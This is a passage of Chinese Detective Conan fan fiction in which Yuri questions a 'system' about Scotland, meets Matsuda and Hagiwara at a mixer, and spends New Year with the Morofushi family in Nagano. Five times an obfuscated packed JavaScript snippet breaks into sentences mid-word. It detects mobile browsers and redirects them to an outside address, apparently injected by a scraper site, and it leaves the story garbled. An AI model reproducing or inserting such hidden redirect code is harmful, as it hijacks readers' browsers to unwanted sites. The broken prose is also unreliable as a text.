这么说,她的猜测完全错了啊…… 她刚刚所做的推测,完全是基于工藤优作在没有问石川恭一话之前还将他列在嫌疑人的范围内……没想到这位名推理家早就看透了真相。 —————— 有些事情还是不要一拖再拖,有里回到宿舍,毫不犹豫地兑换了【四个问题】。 当然,系统只会给出【是】或【不是】的答案。 但幸好提问的主动权掌握在自己手上。 【苏格兰是男性?】 【是。】 这是她必须要确认的问题,同时有里也觉得这个问题性价比很高,起码排除了这个世界上一半的人。 她原先考虑过要不要采用二分法确认苏格兰的姓名区间。 但这样未免太浪费机会,即使能够把苏格兰的年龄锁定在25岁的区间范围内,可是排查起来仍不是一间简单的工作。 现在,有里有别的思路。 从已知的信息出发,有里实在不好意思告诉工藤优作自己只知道“苏格兰”这个听起来不像是真实存在的名字。 不对,细想的话,苏格兰这个名字是否可以成为某种提示。 不出意外的话,这应该是一种酒名……但能够成为被观众熟知的称谓,一定是经常使用。 如果只是常人执行什么临时任务,或者说警方变装,也很难在自己编造的身份上起“苏格兰”这种一听就很假的名字吧。 他经常使用苏格兰作为代号行动…… 有里不免想到自己曾经看过的那些谍战片——似乎一发朝着碟中碟中谍的思路前进了呢。 【苏格兰这个称呼本身只是他在某个组织中使用的特别称号。】 【是。】 有里的心脏开始砰砰的跳跃,现在只要尽可能搞清楚这个组织,就离找到苏格兰更近了一步。 【这个组织属于红方阵营?】 【不是。】 竟然属于黑方阵营……有里还以为这是出色的卧底在与自己所属组织沟通时使用的代号。 所以苏格兰这一称呼在黑方阵营使用。 有里拿出自己的笔记本,对于M25的记忆全在这里的。 单从那部剧场版,苏格兰这个名字一直没有出现过,所以应该和反派普拉米亚所属的黑色组织无关。 那么唯一一个被提及的组织,只剩下降谷零作为公安警察卧底进入的那个组织了。 大胆假设,小心求证? 【这个组织即降谷零卧底进入的那个组织?】 【是。】 有里长长吐出一口气……虽然苏格兰依然还是一个模糊的虚影,但总归不是一片空白的存在。 看起来这个过程好像过于顺畅。 但确实是得益于在这个世界里,有里猜测黑方阵营不能太多,毕竟红方是最后正义的胜利者才是通常意义上能播出的大结局。 降谷零作为明确的主线人物,大概掺和了不少事情,用他作为衡量标准再适合不过。 不过这个组织真是害人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12459393|131961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不浅啊…… 好像诸伏小同学也是在这个组织遭遇了不幸…… 有里猛地一打哆嗦,不会这么巧吧……应该是自己对原著了解的太少,才会局限于这个人选。 话说这么牛的组织,自己能从他们手上救下来人吗。 —————— 有里的假期在一个月后结束。 期间诸伏景光和沙纪小咲经常来探望。 西园勇太一次也没来过这一点有里很安心,说明两人之间那点从来没开始的火苗终于彻底宣告终结。 倒是沙纪小咲知道后频频跟她吐槽。 当然,降谷零一开始也会跟来,后来发现两人一见面就开怼的局面干脆无限减少次数。 对此诸伏景光也没打算调节。 自己幼驯染的性格很清楚,平时对女生绝对是知道分寸的。 现在这种见了面互相伤害的局面,应该是熟稔之后当做朋友的表现。 而有里,大概是觉得这样的相处很有意思? 总之和面对自己的时候完全不一样。 有一次他们来拜访的时候,看到了有里摊开在桌面上的考试卷,完全是三年级难度的试题。 在激情互怼之后有里提出和降谷零做试卷比拼。 当然,诸伏景光作为在场的第三位学生,莫名其妙地也参与了这场考试中——为什么探病还要做题啊? 最后的结果当然是提出比赛的一方获胜,毕竟有里已经是在准备明年的升学考试的程度。 但降谷零同学显然对于这次失败不满意,诸伏景光震惊地发现,平时从学校回来从来不打开课本的幼驯染居然开始翻书了。 在这种内卷氛围的加持下,诸伏景光也不自觉加快了自学的进程。 而促使这一场变化的有里本人毫不知情……正感动地吃着诸伏景光抱来的西瓜——天晓得这个季节,不对就算不是这个季节,西瓜有多贵。 她决定把自己整理的试题无条件共享给两位高一的朋友。 不必感激——这可是她结识了不少往届学长学姐才拿到的题目。 ———————— “宝贝,你简直是变态。”沙纪小咲不可置信地拿起有里的试卷。 “休息了一个月竟然还能拿下年纪第一的位置,而且几乎是满分,这又刷新了你的最高纪录吧。” 该怎么说因为这段时间没有任何来自外界社团或者人际关系的干扰,自己的学习时间又拉长了,所以这也是必然的事情呢。 于是有里腼腆一笑,“都是运气。” “那么,”沙纪小咲关心的也不是这个,她拉住有里的手,“为了庆祝你重新回到我们温暖的班级,加上终于又熬过一次考试,今晚好好出去玩吧。” “好啊。”有里没打算推辞,考虑到自己可能很快就要和帝丹高中告别,她愿意多和朋友相处一会。 “诶,小咲”同班的本田心春加入她们的对话,“可是今天不是早就约好了联谊活动嘛。” “啊!”沙纪小咲把这件事情忘得干净。 有里很上道地打算退出今晚的活动——联谊什么的,果然还是不适合自己。 “没事,我们改天……” “有里,”沙纪小咲再次抓住她的手撒娇,“一起去吧,好不好~” 19.外校联谊 有里觉得在自己请假这一个月,沙纪小咲进修了一些妖术,或者说,因为剩余的相处时间太短,她竟然没有办法对着撒娇的姑娘干脆利落地回绝。 这就导致了下课后,在沙纪小咲和本田心春一左一右的“监护”下,来到了KTV门口。 开个玩笑,其实两个人是扶着她挪动过来,毕竟现在还处于恢复阶段,虽然能自己行动,但总是要格外小心。 本田心春先一步打开了包厢的门,有里抬头瞥了一眼,发现都是生面孔。 沙纪小咲在她旁边咬耳朵,“这次联谊是和旁边的杯户高中的同学,听说那所学校也有超级池面的存在呢。” 有里抿了抿嘴,怪不得这家伙今天一路上这么兴奋。 果然还是有帅哥? “好吧,”有里虽然不是没来过这种活动,但也不是喜欢刷存在感的性格,她主动说,“去找你的池面social吧,我这边自己找个位置就好,你走的时候跟我说。” “嘻嘻,”沙纪小咲看已经到门口了也就没推辞,“那你先过去坐,注意安全别碰着,我一会就过来。” 有里好笑地看着自己的两位主力军朋友走向人群中间,摇了摇头,用不算快的速度走向角落,她并不想别人看到自己受伤引来一串不必要的关心和特别照护—— 有里今天的目标很明确,就是躲在这里摸鱼消磨时间。 可惜,她没能如愿。 “你腿受伤了?”一个略显冷酷的声音响起。 有里抬头,这是一双纯黑的眼睛,男生皮肤缺很白,长相属于是自己这种不太花痴的,第一眼看到都要呼吸一滞的程度。 如果她没猜错的话,是好友提到的池面人选。 不在中间反而在角落里吗? “要坐这里吗?”松田阵平往里面挪了挪,虽然自己一向不爱来这种场合,但有时耐不住萩原的请求也会来一两次。 虽然也只是呆在这里吃东西罢了。 有里回神,男生主动往进移了一个座位,现在最边上的位置是空出来的,也就不用担心会有人碰到她受伤的腿。 她承了这份好意,“谢谢。” 有里莫名其妙地,觉得这人有点熟悉。 难道是下意识觉得这样的超级大帅哥,不应该是路人的角色? 松田阵平感受到对方不加掩饰的视线,于是解释了一句,“你进来的时候在两边的空位都看了一眼,那个时候我还没有坐在这,选择了这边应该是为了让自己受伤的部位不容易被碰到。” “你是最后一个进来的,关门的时候依然保持着正面向室内的姿势,这个状态其实不太方便,正常人会转身或侧身拉上门,应该是你有要避免过多活动的理由。” “最后就是你过来的速度太慢了,而且一直低着头很谨慎的样子,以至于我移动到这边的位置你都毫无察觉,直到我开口才有反应。” 有里简直想拍手鼓掌了,这个世界人均“高中生侦探”吗? “所以你是故意移动到这边,为了验证自己的猜想?”她面无表情地说。 “是。”松田阵平没有犹豫。 有里之前一直在想真的有人比降谷零还直率吗? 今天见到了,也是活久见系列。 她觉得这两人不认识一下真是可惜。 但良好的社交面具让有里很快调节了自己的情绪。 毕竟不是谁都是降谷零这样“知根知底”的人,可以让她随意相处的。 事实上松田阵平没意识到自己的话有问题,只是对方的视线过于明显,但不是他经常收到的来自异性的视线。 于是他自动理解为【探求自己如何得知她受伤】的意思。 可能使用的方法不太寻常,但难得在这种活动找到一些有意思的事情…… 鉴于两人不算十分愉悦的交流,以及有里认为身边这人的这张脸一会一定会引得不少蝴蝶前来。 她没有打算继续交谈的欲望。 今天是返校第一天,模型社的同学送了她一个小礼物,一直放在包里还没来得及拆开看。 现在刚好有时间,有里干脆从书包里取出来。 盒子里打开是一个三维的mini帝丹高中模型—— 不对,不只是这样,有里发现后面应该是加入了自感应的灯光。 随着她手指的移动,对应位置房间的灯光会亮起来。 相当了不起的设计啊。 有里看了一圈,感叹这里的学生果然卧虎藏龙。 “你手上那个东西,可以让我拆……看看吗?”松田阵平在诱惑力的驱使下,还是问出了这句话。 他强行把那个“拆”字咽了回去。 有里闻言,倒是理解他现在的举动,好奇心人皆有之嘛。 虽然两人刚刚一副不会再聊一句的样子。 果然还是得有契机。 “给你。”她把模型转移到松田阵平手上。 发现这位同学,某种意义上真的是“狂热分子”啊。 有里托腮看着男生把模型在手上转来转去,对方最感兴趣的果然也是里面的线路组装问题。 “应该没加光敏电阻,”松田阵平自言自语道。 “确实,这个可以回去考虑加一个。”有里托腮点头。 不接光敏电阻的话就是不分白天黑夜,有人感应就会通电,有光敏电阻就晚上才会工作。 “不过还是算了,”她想了想,“如果是作为晚上的照明灯加上是合理的,但作为模型摆件果然还是不能设置为只在晚上发光的样子。” 这样白天展示的时候乐趣会少很多诶。 松田阵平这才挑眉,他原本以为大多数人对这种东西的兴趣,更多是在外观,而不是像自己一样更希望探索里面的组件。 想不到,在这里遇到了“同行”。 “这是你做的?”他问。 “不是啊,我们学校模型社的同学做的。”有里回答。 “啊,”松田阵平停顿了一下,既然都是同道中人,那么……“你不好奇里面的组装思路?” 空气凝固了三秒。 有里解读出来了对方话里的意思——我想拆了它。 于是在反应过来的下一秒她就出手收回了自己的模型。 “你想都不要想。” 看着对方护宝贝一样的戒备状态状态,松田阵平有点想笑,还有点遗憾,但小时候拆千速姐的东西换来的毒打告诉他,他再想拆也没办法。 “只有我能拆。” 松田阵平呆住了。 —————————— 萩原研二注意到自己的幼驯染主动移了位置。 从坐在自己身边径直走向最角落的空位。 他还以为是耐不住这边的氛围,打算找个地方清净清净。 没想到,是为了专门和那个女生说句话? 萩原研二咋舌,小阵平的兴趣从自家老姐那种风格换到了这种可爱风格吗。 不过看起来两人之前相处的不算和谐啊——在女生一开始的接触落座后,再没有说一句话。 自己是不是要过去助力一下。 他是这么想的,也就这么做了。 和身边的人稍微说明情况后,萩原研二打算来自己幼驯染这边烘托一下气氛。 可是……眼下的情况和他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12466558|131961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想的太不一样了。 “HC-SP501模块。” “s8050三极管。” “LED灯。” “锂电池。” “直流升压模块。” “充电模块。” 两人很有默契地一人一句。 “主要元件差不多就这些。”有里把模型小心地放在一旁,和松田阵平研究。 萩原研二刚刚过来的时候还挺欣慰——虽然不知道他们在干嘛,又是怎么突然破冰的。 但是这两位同学头对头的讲话状态明显很有趣啊,尤其是小阵平,太少能见到他和自家老姐之外的女生多说一句话了。 结果,他听到了什么? “锂电池额定电压为3.7v,为了达到5v输出给HC-SR501模块使用,所以才加了一个升压模块啊。” “锂电池充放电模块其实就是常用的tp4056,”松田阵平拿起来看了看,“这个带保护功能,可以防止电池过充过放,不过我猜主要是因为价格便宜。” 有里没否认,毕竟社团经费能有多富裕。 “学生社团能做出来就不错了好嘛,”她嘴上还是护短的。 松田阵平也没计较这个。 然后就是把各模块焊接连线,然后开孔,再用热熔胶之类的固定就好。 “最后用86明装底盒做壳,适当切削下变成能放进2颗18650电池的程度,上边固定电池,下边固定充电模块。” 有里在刚刚分析组件的时候就发现了,“完全是学园祭上他们申请的多余材料的再利用啊,不过成品不错。” 帝丹高中的学园祭松田阵平当然知道,不过自己兴趣不大,也就没参与。 萩原研二保持着随缘的态度,既然幼驯染不去他也就没去。 现在倒是有些遗憾。 “他这里输出端暂时是用端子接的,方便后续放置不同地方时接不同的灯,比如5v的灯条。”松田阵平举起来零件对着灯光,企图看得更清楚一些。 “如果换成可调的升压板也是可以升压到12v给主流的灯带使用的,降低亮度就降压或选择串联电阻就行。” “这样实用性最强,续航也更持久。”有里总结。 萩原研二——我果然还是不能对小阵平有什么别的期待。 “咳,你们……” 不得已,他才出声吸引了两人的注意。 “啊,萩。”松田阵平刚刚完全进入忘我状态,没注意到自己好友的到来。 “你好。”有里也跟着打了招呼,不过这人肯定也不是来找自己的。 萩原研二看这两人跟没事人一样的状态,就有些心梗——他们知道什么是联谊吗? “你们刚刚是在?” “拆东西啊。”面对幼驯染,松田阵平相当直率。 “分析模型。”有里这边说得就很委婉了,不过因为在这里遇到了还算有共同话题的朋友,心情也好了很多。 “这位同学,组装的任务就交给你了。”她笑眯眯地把责任推了出去。 刚刚自己动手的原因当然是因为她不信任这位同学的能力。 毕竟是朋友送给自己的东西,怎么说也不能随意损坏吧。 不过现在—— 有里确认这位同学的动手能力和理论能力都是相当出色的存在。 而且她认为,对方不会拒绝。 “啧……”虽然知道她是因为懒得自己组装才推给自己,但是松田阵平本身也乐意用这个机会再研究一下。 毕竟刚刚他拿到的就是对方已经拆下来的线路连线,自己完善一遍还是挺有趣的。 20.愉快新年 等等,萩原研二尝试在这两人跳脱的对话中抓到一丝入手点。 哪里不对劲? 怎么彼此之间的称呼方式还是【这位同学】,太奇怪了吧。 “你们不会还不知道对方的名字吧?” 似乎……是的…… 松田阵平是因为本身他就不会主动交换姓名,大多数时候都是跟着幼驯染来这里凑人头。 有里则是因为,觉得没必要。 毕竟是外校的同学,今天之后大概不会再有任何交集了。 不过既然面前这位头发略长的男生提起了…… “你们好,我是帝丹高中的外守有里。” “外守同学啊,”萩原研二来到了自己最擅长的part,“我是萩原研二,可以叫我萩原君呢。” 萩原……萩原研二…… 现在高中生的标准已经提高到这个水准了吗——这种长相和性格萩原同学你出道一定会爆红啊! 因为顺道,萩原研二也承担了自家幼驯染那部分的介绍,“你旁边这位是松田阵平,总之能在这里和你认识真是太好了。” 萩原研二绝对是很难让人产生恶意,或者说很难不产生好感的类型。 但是松田……阵平……这个名字一出来。 有里头一次感受到了“这个世界真小”的念头。 如果说前者的名字只是让她在熟悉之外还有一丝不确定。 但松田阵平这个名字一出来——她就完全笃定了啊。 毕竟在M25里面这位警官可以说是贯穿全文的主要人物。 该怎么说,有里现在的心情十分复杂,姑且不提现在内心产生的,因为知道两人命运的怜悯。 降谷零和诸伏景光的同期原来在中学时期就离他们这么近。 如果现在再让她遇到那个五缺一的伊达警官,她都不会觉得意外了。 果然她早该警醒,这么好看的脸,能被创造出来一定不是简单的路人甲的角色啊! —————— 12月31日,有里久违地踏上了回到长野县的列车。 前几年因为一直在东京有补课安排,虽然诸伏夫妇一再表示可以一起过节……但过于麻烦别人的事情也让有里一些不好意思。 现在已经没什么必须要上的课,目测日后回来的机会会越来越少,所以这才决定回来一趟。 虽然之前诸伏景光有问过要不要一起,但是一年级和二年级的放假时间并不统一,加上她还有自己的事情要做,预计不会太早回去,只能遗憾回绝了。 今天是除夕夜,列车下午就会停运了,有里比正常作息早起了一点,她很难描述自己是什么心态,在这样的日子,回到长野。 等她从巴士下来,才刚过九点。 她不讨厌这个地方。 轻井泽落雪的静谧森林,松本浅间山下的咖啡小店,坐火车穿梭山区地带,欣赏明丽的乡间风景,白马的雪山和米酒。 重要的是没有任何重要的,非做不可的事情。 可能是新年的缘故,这个点路上并没有太多人。 太久没回来了,附近的店铺已经换了一批,大多也都不认识她。 这没什么,也好。 有里站在外守宅的外面,预想中落满了灰尘的样子没有发生—— 门松和住连绳已经被挂在门口,积雪也被人清理过了。 甚至在门口还蹲了一个和她一半身高大的雪人,上面用纽扣和胡萝卜做了装饰。 怪丑的——但是有里抿嘴笑了笑,在旁边又戳了两个酒窝。 她知道是谁。 有里垂眸,用钥匙开了所,缓缓走进落灰的室内, 阳光照进来,空气中满是浮尘,冰冷又散发着发霉的气味。 一如既往,她每一次的开门瞬间。 ———————— “抓住人了!” 像是冬日里的烤火,比太阳还要温暖,她茫然转身。 是诸伏景光。 “竟然拖到今天才回来,”诸伏景光语气轻快,“我可是和zero打赌输了呢。” 后面还有跟着进来的降谷零,他伸手打开了灯——年久未使用,灯泡也闪了几下才恢复工作。 “一会帮你检查一下吧,要是线路老化还挺危险的。” 你看——仍然有值得庆幸的事情不是吗? 有里忍住了自己的哭腔,打趣着两人,“你俩就像便利店里有时会用红色绑带捆绑在一起打包出售的‘产品’” “什么比喻啊,亏你的国语成绩那么好,”降谷零一脸嫌弃地说。 不过区别是那里捆绑的原因大概是打折促销。 “也是,你俩捆绑销售明显价值增加不止一倍,不会有商家把你们放在一起‘贩卖’吧。” 这边两人又呛起来,刚刚那丝沉闷的氛围已经被打破。 诸伏景光拿起扫除开始清理,“我父母知道zero之后也一直邀请他也一起来这里过年呢,毕竟人多才热闹啊。” 虽然没有直接提起过,有里在之前和这两人的相处中,从对方从来不提自己父母这一点隐隐对降谷零的家庭出身有所猜测。 那么知道这一点的诸伏景光,以及诸伏夫妇,想要降谷零跟着自己的儿子一起回来过年也是理所应当的事情。 该说这一家人真是善良得过分还是…… 不过也很合理——毕竟对她也是这样。 “不过真的感谢你们,”有里拿起抹布加入了大扫除的行列,“改天请你们吃饭。” “喔……一起吃饭倒是可以,”诸伏景光在出门的时候已经收到了父母的委托,一定是会把人“拐”回去的,“不过就今天吧,去我家。” 因为蹲守了好几天都没见人回来——有里之前已经和诸伏夫妇通信告知今年回家,所以怎么算在12月的最后一天都该回来了。 诸伏夫妇当然不在意家里人数更多,这两个孩子他们都很喜欢。 “别推辞了,”诸伏景光打断她的话,做了一个夸张的请求,“要是我没带你回去,母亲又该质疑我是不是欺负你了。” “当然,是联合zero一起。” “诶,怎么这样,”降谷零知道这是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12496794|131961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玩笑话也跟着配合,“看来一定要把人抓回去证明清白了。” 因为人数的原因,诸伏夫妇在今晚的料理所做的准备工作量显然更加庞大。 有里礼数周全地向在厨房忙碌的诸伏夫妇,以及诸伏高明打了招呼。 ——虽然现在有奖学金的加持她的生活不算太拮据,但作为一个学生的身份,她真心地送给了诸伏老师和师母亲手制作的礼物。 当然想法源自于模型社同学的创意。 “真是充满心意的礼物,”师母弯腰抱了抱她,眼里满是关爱,“回来就好。” 虽然和诸伏景光的哥哥——诸伏高明先生见面很少,实际上只有当年那匆匆一面,不过这位兄长完全是和景光不一样的性格啊。 ——什么情况呢,对方比她自己还要更熟读三国的内容。 不得不说,真的很紧张啊。 这边诸伏老师眼里的欣慰溢于言表, ——这是他看着长大的最优秀,也是最坚强的学生,当然是满满的自豪和心疼。 “你师母听说你今年要回来过年,已经跟我念叨好几天了。” 虽然之前新年的时候有里没有回来过,但是偶尔有一些档案要来这边整理,就算不回家每次来都会拜访诸伏夫妇。 当然,因为诸伏老师的工作性质,也是不是经常能见到,所以算下来,有里见到师母的频率高很多。 “我也是一早就在期待了。” —————— 吃过中午饭诸伏夫妇当然不会放她回去,事实上就这样疯狂投喂的样子,目测对方也很难逃掉。 “这个鱼……”诸伏景光来到厨房帮助母亲准备,犹豫着开口。 他记得上次学园祭上的游戏,朋友说她现在不喜欢这些。 “诶呀,”女人因为今天家里的热闹心情很好,加上小朋友们都吃了很多,更让她觉得充满了干劲,“我还记得有里小时候最喜欢吃这个了,那孩子还撒娇说晚上一定要多吃一点呢。” 诸伏景光顿了顿,嘴角弯了弯,“这样啊。” 在看完红白歌会之后,诸伏景光把有里照样送回了她家门口,“注意安全,一个人锁好门窗,陌生人别开门……” “stop!”因为刚刚过了零点,几个人喝了点屠苏酒,现在有里的脸颊变得红扑扑的,说话声音也跟着大了起来,理直气壮地说:“我不是小孩了,现在我可是前辈。” 诸伏景光没想到因为未成年人的缘故,三个人都被限制只喝了一杯象征【消去一年的灾祸】,这人已经有点上头了。 “知道了,快进去吧。” “你叫我一声姐姐我就进去。”本来就是啊,有里算了算,自己可比这家伙大了十几岁? 这样说起来完全就应该这样叫啊! “咳……”诸伏景光觉得无奈又好笑,“外面冷,记得明天早上还有安排,早点休息。” 酒蒙子女士显然没这么容易打发,一副你不叫我就不进去的样子,抱臂和他对视。 诸伏景光盯着她半天,最终还是叹了口气…… 算了,计较什么。 21.户隐神社 第二天确实有安排。 三个未成年人,在诸伏高明这个唯一在读大学生的带领下,去往户隐神社参拜。 幸好有里的生物钟非常准时了,不过喝了点小酒果然睡眠质量好了很多——昨天她是怎么回来的来着? 想不出来她也没再细纠。 长野站东口出来,面对左上方向就是去往“户隐神社”的巴士站。 虽然很有名气,但在冬季这不算是一个热门的地点—— 雪天路滑,考虑到这一天,有里即使穿了明亮的粉色和服,脚下也是选择了运动鞋做搭配。 一个小时一班车的情况,竟然让他们到站的时候刚好乘上车——昨天确认安排之后诸伏高明立刻就定了这个集合时间,原来那时就计算好了吗? 下车后,诸伏高明从背包里拿出四副冰爪,“虽然不至于结冰,但常有游客在这里摔倒,还是穿上吧。” 他们三个当然没有异议,真是太妥帖了。 山上的温度比起市区还是低了不少,有里在身下套了打底裤,虽然很薄但贴身总归还是温暖了一些,上衣的披肩起到了一点挡风的作用。 好在她准备了暖宝宝! 众人一直认为“难得来一次”,还是尽可能都走一遍。 于是选择了从宝光社开始,顺序依次是宝光社﹣火之御子社﹣中社﹣奥社﹣九头龙社,最后回到中社搭乘巴士。 “那个……高明哥?”有里试探着开口。 两人一排的局面,现在是她和诸伏高明走在前方,这样一来不说话会很尴尬啊。 “没关系,这样称呼就好。”诸伏高明察觉到了对方话语中的谨慎。 有里松了一口气,毕竟算上昨天,也是第三次见面,害怕这样的称呼会让对方不自在。 事实证明,诸伏高明并不像她之前想的那样,拒人于千里之外? 他在与人相处时的分寸拿捏的刚好。 虽然不是萩原研二那种能飞速“撞”入你的交际圈的那种…… “听说高明哥在东都大学政法系就读,今年毕业了也打算留在东京吗?”偶尔和师母闲聊的时候,对方不可避免会提到自家儿子的发展问题。 诸伏高明没有直接回答这个问题,“我打算尝试进入警察体系。” 这个答案……是这里所有有头脑的正派都要当警察吗…… 不对,苏格兰候选人又加一! “那也很厉害呢,”有里想了想自己了解到的晋升规则,“感觉高明哥能成为职业组的核心成员呢。” 诸伏高明笑了,没有承认也没有否认,“你也了解过这方面。” 这是陈述句。 “只是大体了解过,”有里没想隐瞒,也没觉得有什么隐瞒的必要。 开诚心,布公道。 诸伏高明停顿了一下,“我没有打算走职业组的路线。” 这确实是令人意外了。 以诸伏高明的出身和才能,完全可以通过日本国家公务员I类考试,成为升职速度最快、录取严格的“职业组”。 同时因为他有着东大政法系第一名的好成绩,那么成为职业组-金表组-嫡系,也就是约束严格、论资排辈的日本警察体系的最核心成员,就变成了理所应当的事情。 不过诸伏高明既然这样说……应该是有了明确的安排。 有里懂得分寸。 “祝你如意。”她说。 诸伏高明抬眼,他总是从父母和景光口中听到这个女生的名字,那次见面也算得上是事发突然,后来总是听母亲说她又从东京寄来了什么东西——没人想要她回报,但对方总是在努力地表达自己的感激。大概只是在心中留下了【这是个勇敢善良的姑娘】的印象。 今日受父母所托,作为几个小朋友的“监护人”来到户隐神社,才是第一次真正意义上的接触。 比他预想的还聪明,在处事上。 “你呢?”诸伏高明本无意打探对方的事情,不过眼下倒是来了兴趣。 “我打算申请今年东大的特招,”有里这会乖巧得像是一个向老师报告的学生,“顺利的话以后就是高明哥的校友了。” “那也很好,”诸伏高明诧异了一下,很快又点头,“如果有需要帮助的,可以来找我。” 这个承诺和诸伏夫妇委托对方照顾的份量是不一样的。 有里连忙道谢。 全程7.6km左右,只有最高处的奥社是爬升明显的,其他均是友好步道。 从火之子御社到中社走的比较像是盘山路,会路过居民住的房子也有墓地,不全在山林里。 最著名的400年历史的雪松路段就是中社到奥社的随神门后,仿佛步入神界。 虽然是冬日,但这个时间点依然不妨碍阳光洒下来的庄严神秘。 —————— 上山容易下山难这句话果然有道理。 在诸伏高明准备的工具下,虽然没有人摔倒,但依然行动不算迅速。 半路上又开始下雪,厚度已经将近没过有里的小腿肚了。 商议过后大家一致觉得不要冒险返程。 “中社那边我记得有温泉旅社,”诸伏高明摸着下巴,“雪下得越来越大了,我担心巴士已经不会来了。” —————— 旅馆外表看起来有些破旧,但室内倒是装潢得很温馨。 充足的暖风让有里冻僵的手指终于可以弯曲——就应该裹上几层棉衣棉服来的。 “几位真是好运,这里刚好剩下最后一间房了。”房东山中大横查看了自己的登记表,让服务生在旅店外挂上了【客满】的牌子。 显然因为今天的大雪,来到户隐神社这边的很多旅客选择在这边住宿一晚,明天离开。 不过这位老板,还真是不给他们离开的机会…… “还有一位女士是吗,”他这才看向有里,“我记得刚刚还有一位女士入住了双人间,你介意吗?” 好像没给她介意的机会? 不过算了,有里摇摇头,“麻烦了。” 于是房东心情很好地指挥服务生去和那位女士沟通。 显然大部分客人都对今晚的出行条件有所了解,对方很爽快地答应了请求。 服务生古贺蕾是个二十岁出头的女生,讲起话来也很亲切,“听房东说这个房子已经一百多年了,不过每四年都会进行大修大补来修复,所以别看外表一般,其实保养的很好呢。” 怪不得,里面设备看起来并不陈旧。 “您身上的衣服应该被雪水打湿了吧,”显然这是位足够细心的人,“先去浴室清理一下,里面有干净的浴衣,稍后我将您的衣服拿去烘干吧。” “太谢谢了,”有里觉得这家店如果开在东京一定会是四季都爆满的状态。 “对了,虽然是二人间,不过我们会在二位客人的床铺中间放上了竹帘,二位基本的隐私还是能够保障的,那么有需要随时叫我哦。”古贺蕾将有里引到浴室外面。 等待有里清理完穿上温暖的浴衣,才感觉活了过来,古贺蕾已经在浴室门口等她了,“衣服请给我吧,房间是这边左手第四间,您的朋友刚刚点了四人份料理,已经送到他们房间了,是右手第四间。” 应该是考虑到她自己和陌生人住不自在才会有这样的安排吧,有里点头,“麻烦了。” 她走到古贺蕾说的房间门口,敲了敲门。 “方便进来吗?” 开门的是一个留着络腮胡的男人,在开门的一刹那就变得及其不耐烦,“我不是说了让你没事别烦我吗!” 这人嗓门忒大,有里与其说是被吓到,不如说是被震到。 等到男人看清了面前陌生的面孔,也才有点收敛自己情绪的意思:“你是谁?” 虽然莫名其妙被吼了不太舒服,但总归是自己先打扰了对方,“不好意思,我走错了房间。” 被走廊里的小插曲惊扰的隔壁三人也自然探出了头。 “怎么回事?”作为今日大家长的诸伏高明站了出来,以略带防备的姿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12519453|131961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 态挡在了有里面前。 古贺蕾刚刚往洗衣房的方向走到一半,也听到了这边的动静,连忙跑过来道歉: “对不起,今天客人太多,我记错了房间号,这才让外守小姐走错了位置。” “天方先生,实在是抱歉打扰了。” 她双手合十,十分诚恳的样子。 天方境只是冷哼了一声,关上了门。 古贺蕾这才长舒了一口气,又对有里深深鞠了一躬,“真的十分抱歉。” “没事的,毕竟这几间房挨得这么近,记混了也很正常。” “不过你们遇到这样的客人也会很苦恼吧。” 古贺蕾无奈地笑了一下,“没办法,毕竟这种人也是少数,说起来这位天方境先生和对面的千岛慧女士是一起来的,本身提前预订了房子,两人都住在一间,后来估计是发生了争执才成了这样,心情不好也可以理解吧。” “瞧我说到哪里去了,各位快进去用餐吧。” ———————— 这是有里第一次和诸伏高明一起用餐。 她不确定【食不言寝不语】这样的规则是不是对方会格外重视。 所以一直保持着沉默。 还是诸伏景光先开了口,才打破了僵局——有里发现那位降谷零同学,好像也乖巧了许多? “刚刚是听到屋外的争执高明哥才出来的吗?”确实动静不小,但实际上只是想找个话题。 “不是,”诸伏高明喝了一口水,“因为这里的房间,在室内灯光明亮的情况下可以看见外面的人影,不过隔音很好。” 哦…… 和高明哥聊天是件压力很大的事情——有里常常担心自己的文学素养会显得格外突兀。 好在暂时没遇到这种情况。 餐食看来是没得选,都是统一的套餐制。 不算好吃也不算难吃,高强度运动了一天她反而没有几个男生有胃口。 这种时候只想喝点水早点休息。 